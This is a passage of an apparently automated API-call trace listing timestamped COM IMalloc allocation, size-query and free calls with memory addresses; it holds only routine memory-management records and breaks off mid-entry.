IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b884ee0) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8844e0) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f2ef0) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f31c0) [0102.648] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f3250) [0102.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a170) [0102.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829ff0) [0102.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a3f0) [0102.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a530) [0102.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f57a0) [0102.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f5980) [0102.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f6700) [0102.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829970) [0102.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829ab0) [0102.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a230) [0102.649] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829af0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f5d40) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f6100) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829bb0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829bf0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82c730) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82bbf0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82bdb0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82c2f0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f6160) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f72a0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b80dfb0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b80e0f0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f8200) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1210) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b80e3f0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b80f570) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1240) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f0910) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc8bd0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b80f0f0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b80f1f0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b884a30) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b887550) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc91d0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc8d50) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc9440) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad241b0) [0102.650] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc96e0) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fca280) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fca2e0) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fcaf10) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b80f2b0) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fcaf40) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fca3a0) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fcb030) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fcb090) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fcb0f0) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b80f6f0) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b80e7b0) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fbc330) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc6e30) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc6e60) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b223d90) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b223970) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b224c90) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b224d50) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b22c3a0) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b22ce80) [0102.651] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b22d270) [0102.651] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26) returned 0x2764b96f750 [0102.652] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b80f0f0 [0102.652] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b80f570 [0102.652] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b96f810 [0102.652] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b96f360 [0102.652] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b96f180 [0102.652] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b96f390 [0102.653] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764b96f840 [0102.653] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b96f3f0 [0102.653] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b96f7b0 [0102.653] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b96f3c0 [0102.653] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764b96eeb0 [0102.653] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b96f270 [0102.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b80f1f0 [0102.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764b96f5d0 [0102.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1a) returned 0x2764b96f1b0 [0102.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50c4d0 [0102.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72920 [0102.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72380 [0102.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72760 [0102.654] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72540 [0102.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72240 [0102.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72300 [0102.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72780 [0102.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72320 [0102.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72600 [0102.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72400 [0102.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72960 [0102.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72360 [0102.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb725a0 [0102.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb721e0 [0102.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb723a0 [0102.655] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb726a0 [0102.656] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb722e0 [0102.656] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb724c0 [0102.656] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb72180 [0102.656] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb72180) returned 0x10 [0102.661] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72180) [0102.661] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b8715c0 [0102.661] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8715c0) returned 0x48 [0103.030] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8715c0) [0103.030] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b8715c0 [0103.030] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8715c0) returned 0x48 [0103.042] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8715c0) [0103.042] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08c70 [0103.042] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08c70) returned 0x8 [0103.042] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08c70) [0103.042] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb73520 [0103.043] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb73520) returned 0x10 [0103.045] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb73520) [0103.045] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b8715c0 [0103.045] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b8715c0) returned 0x40 [0103.049] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8715c0) [0103.049] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764bb73780 [0103.049] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb73780) returned 0x18 [0103.051] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb73780) [0103.051] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb73440 [0103.051] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb73440) returned 0x10 [0103.053] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb73440) [0103.053] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764bb738e0 [0103.053] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb738e0) returned 0x18 [0103.175] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb738e0) [0103.175] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08d20 [0103.175] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08d20) returned 0x8 [0103.176] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08d20) [0103.176] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b96fe40 [0103.176] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b96fe40) returned 0x28 [0103.176] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96fe40) [0103.176] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b96fed0 [0103.177] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b96fed0) returned 0x28 [0103.177] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96fed0) [0103.177] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764b96fb40 [0103.177] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b96fb40) returned 0x28 [0103.177] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96fb40) [0103.177] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb73860 [0103.177] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb73860) returned 0x10 [0103.197] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb73860) [0103.197] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2764b81d7f0 [0103.197] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b81d7f0) returned 0x38 [0103.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b81d7f0) [0103.205] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764bb73560 [0103.205] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb73560) returned 0x10 [0103.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb73560) [0103.271] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08c60 [0103.271] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08c60) returned 0x8 [0103.271] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08c60) [0103.271] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08d20 [0103.271] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08d20) returned 0x8 [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08d20) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72920) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72400) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72380) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb721e0) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72760) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb723a0) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb726a0) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb722e0) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72300) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb724c0) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb725a0) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72360) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72960) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72600) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72320) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72780) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72240) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb72540) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50c4d0) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96f750) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b80f0f0) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b80f570) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96f810) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96f360) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96f180) [0103.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96f390) [0103.273] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96f840) [0103.273] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96f3f0) [0103.273] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96f7b0) [0103.273] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96f3c0) [0103.273] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96eeb0) [0103.273] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96f270) [0103.273] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b80f1f0) [0103.273] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96f5d0) [0103.273] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96f1b0) [0103.496] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e5c80 [0103.496] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5c80) returned 0x18 [0103.507] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5c80) [0103.508] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08d20 [0103.508] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08d20) returned 0x8 [0103.509] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08d20) [0103.509] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08b70 [0103.509] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08b70) returned 0x8 [0103.509] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08b70) [0103.509] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5880 [0103.509] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5880) returned 0x10 [0103.510] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5880) [0103.510] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b96f7b0 [0103.510] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b96f7b0) returned 0x20 [0103.510] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96f7b0) [0103.510] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82aaf0 [0103.510] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b82aaf0) returned 0x30 [0103.523] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82aaf0) [0103.523] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b882550 [0103.523] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b882550) returned 0x48 [0103.537] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b882550) [0103.537] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5b20 [0103.537] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5b20) returned 0x10 [0103.538] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5b20) [0103.538] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08c60 [0103.538] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08c60) returned 0x8 [0103.538] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08c60) [0103.538] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5f40 [0103.538] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5f40) returned 0x10 [0103.539] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5f40) [0103.539] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08db0 [0103.539] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08db0) returned 0x8 [0103.965] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08db0) [0103.965] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5020 [0103.965] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5020) returned 0x10 [0103.965] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5020) [0103.965] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ed0 [0103.965] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ed0) returned 0x8 [0103.965] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ed0) [0103.965] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e4f80 [0103.966] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e4f80) returned 0x10 [0103.966] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e4f80) [0103.966] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08cb0 [0103.966] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08cb0) returned 0x8 [0103.966] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08cb0) [0103.966] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e4f80 [0103.966] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e4f80) returned 0x10 [0103.966] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e4f80) [0103.966] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08d90 [0103.966] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08d90) returned 0x8 [0103.967] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08d90) [0103.967] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e53a0 [0103.967] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e53a0) returned 0x10 [0103.967] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e53a0) [0103.967] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08b70 [0103.967] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08b70) returned 0x8 [0103.969] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08b70) [0103.969] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e51a0 [0103.969] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e51a0) returned 0x10 [0103.969] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e51a0) [0103.969] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ef0 [0103.969] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ef0) returned 0x8 [0103.969] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ef0) [0103.969] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5520 [0103.969] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5520) returned 0x10 [0103.970] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5520) [0103.970] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08df0 [0103.970] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08df0) returned 0x8 [0103.970] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08df0) [0103.988] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e5a60 [0103.988] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5a60) returned 0x18 [0104.000] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5a60) [0104.000] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08df0 [0104.001] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08df0) returned 0x8 [0104.001] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08df0) [0104.001] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08db0 [0104.001] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08db0) returned 0x8 [0104.001] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08db0) [0104.001] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5aa0 [0104.001] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5aa0) returned 0x10 [0104.002] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5aa0) [0104.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b96e910 [0104.002] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b96e910) returned 0x20 [0104.002] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b96e910) [0104.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b828fb0 [0104.002] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b828fb0) returned 0x30 [0104.101] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b828fb0) [0104.102] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b888680 [0104.102] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b888680) returned 0x48 [0104.115] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b888680) [0104.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08bb0 [0104.115] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08bb0) returned 0x8 [0104.115] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08bb0) [0104.115] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08d90 [0104.115] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08d90) returned 0x8 [0104.115] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08d90) [0104.116] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5960 [0104.116] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5960) returned 0x10 [0104.124] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5960) [0104.124] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5d80 [0104.124] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5d80) returned 0x10 [0104.131] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5d80) [0104.131] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e5f20 [0104.131] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e5f20) returned 0x10 [0104.131] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e5f20) [0104.131] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08b40 [0104.131] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08b40) returned 0x8 [0104.131] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08b40) [0104.132] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b95f640 [0104.132] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b95f640) returned 0x20 [0104.348] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f640) [0104.348] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6020 [0104.348] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6020) returned 0x18 [0104.356] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6020) [0104.356] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b95f790 [0104.356] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b95f790) returned 0x20 [0104.363] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f790) [0104.363] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6280 [0104.363] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6280) returned 0x10 [0104.364] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6280) [0104.364] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 